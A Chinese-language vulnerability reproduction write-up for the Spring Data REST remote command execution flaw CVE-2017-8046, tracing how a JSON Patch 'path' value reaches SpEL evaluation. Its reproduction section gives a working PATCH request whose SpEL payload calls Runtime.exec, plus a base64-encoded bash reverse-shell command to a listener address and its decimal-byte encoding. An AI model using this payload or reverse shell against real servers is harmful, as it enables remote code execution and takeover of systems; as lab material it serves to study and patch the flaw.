• 漏洞复现----41、Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)



    一、Spring Data Rest简介

    Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

    二、漏洞分析

    对于JSON Patch请求方法IETF制定了标准RFC 6902。JSON Patch方法提交的数据必须包含一个path成员(path值中必须含有/),用于定位数据,同时还必须包含op成员,可选值如下:
    add:添加数据
    remove:删除数据
    replace:修改数据
    move:移动数据
    copy:拷贝数据
    test:测试给定数据与指定位置数据是否相等
    
    根据RFC 6902,发送JSON文档结构需要注意以下两点:
    1、请求头为Content-Type: application/json-patch+json
    2、需要参数op、路径path,其中op所支持的方法很多,如test,add,replace等,path参数则必须使用斜杠分割。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    2.1、代码分析

    入口文件是位于org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()中:
    通过request.isJsonPatchRequest确定是PATCH请求之后,调用applyPatch(request.getBody(), target);

    public <T> T apply(IncomingRequest request, T target) throws Exception {
        Assert.notNull(request, "Request must not be null!");
        Assert.isTrue(request.isPatchRequest(), "Cannot handle non-PATCH request!");
        Assert.notNull(target, "Target must not be null!");
        if (request.isJsonPatchRequest()) {
            return applyPatch(request.getBody(), target);
        } else {
            return applyMergePatch(request.getBody(), target);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    其中isJsonPatchRequest的判断方法是:

    public boolean isJsonPatchRequest() {
        // public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json");
        return isPatchRequest() && RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);
    }
    
    • 1
    • 2
    • 3
    • 4

    跟踪进入到applyPatch()方法中:

    <T> T applyPatch(InputStream source, T target) throws Exception {
        return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
    }
    
    • 1
    • 2
    • 3

    进入getPatchOperations()中:

    private Patch getPatchOperations(InputStream source) {
        try {
            return new JsonPatchPatchConverter(mapper).convert(mapper.readTree(source));
        } catch (Exception o_O) {
            throw new HttpMessageNotReadableException(
                    String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    利用mapper初始化JsonPatchPatchConverter()对象之后调用convert()方法。
    跟踪org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert()方法:

    public Patch convert(JsonNode jsonNode) {
            if (!(jsonNode instanceof ArrayNode)) {
                throw new IllegalArgumentException("JsonNode must be an instance of ArrayNode");
            } else {
                ArrayNode opNodes = (ArrayNode)jsonNode;
                List<PatchOperation> ops = new ArrayList(opNodes.size());
                Iterator elements = opNodes.elements();
    
                while(elements.hasNext()) {
                    JsonNode opNode = (JsonNode)elements.next();
                    String opType = opNode.get("op").textValue();
                    String path = opNode.get("path").textValue();
                    JsonNode valueNode = opNode.get("value");
                    Object value = this.valueFromJsonNode(path, valueNode);
                    String from = opNode.has("from") ? opNode.get("from").textValue() : null;
                    if (opType.equals("test")) {
                        ops.add(new TestOperation(path, value));
                    } else if (opType.equals("replace")) {
                        ops.add(new ReplaceOperation(path, value));
                    } else if (opType.equals("remove")) {
                        ops.add(new RemoveOperation(path));
                    } else if (opType.equals("add")) {
                        ops.add(new AddOperation(path, value));
                    } else if (opType.equals("copy")) {
                        ops.add(new CopyOperation(path, from));
                    } else {
                        if (!opType.equals("move")) {
                            throw new PatchException("Unrecognized operation type: " + opType);
                        }
    
                        ops.add(new MoveOperation(path, from));
                    }
                }
    
                return new Patch(ops);
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    convert()方法返回Patch()对象,其中的ops包含了我们的payload。
    进入到org.springframework.data.rest.webmvc.json.patch.Patch中:

    public Patch(List<PatchOperation> operations) {
        this.operations = operations;
    }
    
    • 1
    • 2
    • 3

    通过上一步地分析,ops是一个List<PatchOperation>对象,每一个PatchOperation对象中包含了op、path、value三个内容。
    进入到PatchOperation分析其赋值情况:

    public PatchOperation(String op, String path, Object value) {
    
        this.op = op;
        this.path = path;
        this.value = value;
        this.spelExpression = pathToExpression(path);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    进入到pathToExpression()中:

    public static Expression pathToExpression(String path) {
        return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));
    }
    
    • 1
    • 2
    • 3

    这是一个SPEL表达式解析操作,但是在解析之前调用了pathToSpEL()
    进入pathToSpEL()中:

    private static String pathToSpEL(String path) {
        return pathNodesToSpEL(path.split("\\/"));          // 使用/分割路径
    }
    
    private static String pathNodesToSpEL(String[] pathNodes) {
        StringBuilder spelBuilder = new StringBuilder();
        for (int i = 0; i < pathNodes.length; i++) {
            String pathNode = pathNodes[i];
            if (pathNode.length() == 0) {
                continue;
            }
            if (APPEND_CHARACTERS.contains(pathNode)) {
                if (spelBuilder.length() > 0) {
                    spelBuilder.append(".");            // 使用.重新组合路径
                }
                spelBuilder.append("$[true]");
                continue;
            }
            try {
                int index = Integer.parseInt(pathNode);
                spelBuilder.append('[').append(index).append(']');
            } catch (NumberFormatException e) {
                if (spelBuilder.length() > 0) {
                    spelBuilder.append('.');
                }
                spelBuilder.append(pathNode);
            }
        }
        String spel = spelBuilder.toString();
        if (spel.length() == 0) {
            spel = "#this";
        }
        return spel;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    重新回到org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch()中:

    <T> T applyPatch(InputStream source, T target) throws Exception {
        return getPatchOperations(source).apply(target, (Class<T>) target.getClass());
    }
    
    • 1
    • 2
    • 3

    执行getPatchOperations(source)得到的是一个Patch对象的实例,之后执行apply()方法。进入org.springframework.data.rest.webmvc.json.patch.Patch:apply()

    public <T> T apply(T in, Class<T> type) throws PatchException {
        for (PatchOperation operation : operations) {
            operation.perform(in, type);
        }
        return in;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    PatchOperation是一个抽象类,实际上应该调用其实现类的perform()方法。此时的operation实际是ReplaceOperation类的实例(这也和我们传入的replace操作是对应的)。
    进入到ReplaceOperation:perform()中:

    <T> void perform(Object target, Class<T> type) {
        setValueOnTarget(target, evaluateValueFromTarget(target, type));
    }
    
    protected void setValueOnTarget(Object target, Object value) {
        spelExpression.setValue(target, value);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    setValueOnTarget()中会调用spelExpression对SpEL表达式进行解析,触发漏洞。


    代码分析学习于:https://blog.spoock.com/2018/05/22/cve-2017-8046/


    三、漏洞复现

    访问IP:port/customers/1
    在这里插入图片描述

    抓包,修改请求如下:请求方法为PATCH;Content-Type: application/json-patch+jsonnew byte[]{command}:command为我们要执行的命令的十进制数。

    PATCH /customers/1 HTTP/1.1
    Host: localhost:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json-patch+json
    Content-Length: 202
    
    [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{command}))/lastname", "value": "vulhub" }]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    反弹shell代码:
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}
    在这里插入图片描述

    转换为十进制:98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,77,67,52,121,77,84,69,117,78,84,85,117,77,121,56,50,78,106,89,50,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

    在这里插入图片描述

    监听端执行监听
    在这里插入图片描述


    参考链接:
    https://blog.spoock.com/2018/05/22/cve-2017-8046/
    https://vulhub.org/#/environments/spring/CVE-2017-8046/

  • 相关阅读:
    【总结】有三AI所有原创GAN相关的技术文章汇总(2022年8月)
    B-Spline for SLAM
    什么是Node.js的流(stream)?它们有什么作用?
    WSA工具箱安装应用商店提示无法工作怎么解决?
    uniapp使用uviews上传多张图片
    对于GitHub的浅显理解-以TensorFlow项目为例
    2023第十二届中国智能产业高峰论坛
    C++ Primer Plus习题及答案-第十四章
    docker 容器环境配置 mydumper
    Python时间处理
  • 原文地址:https://blog.csdn.net/sycamorelg/article/details/125528553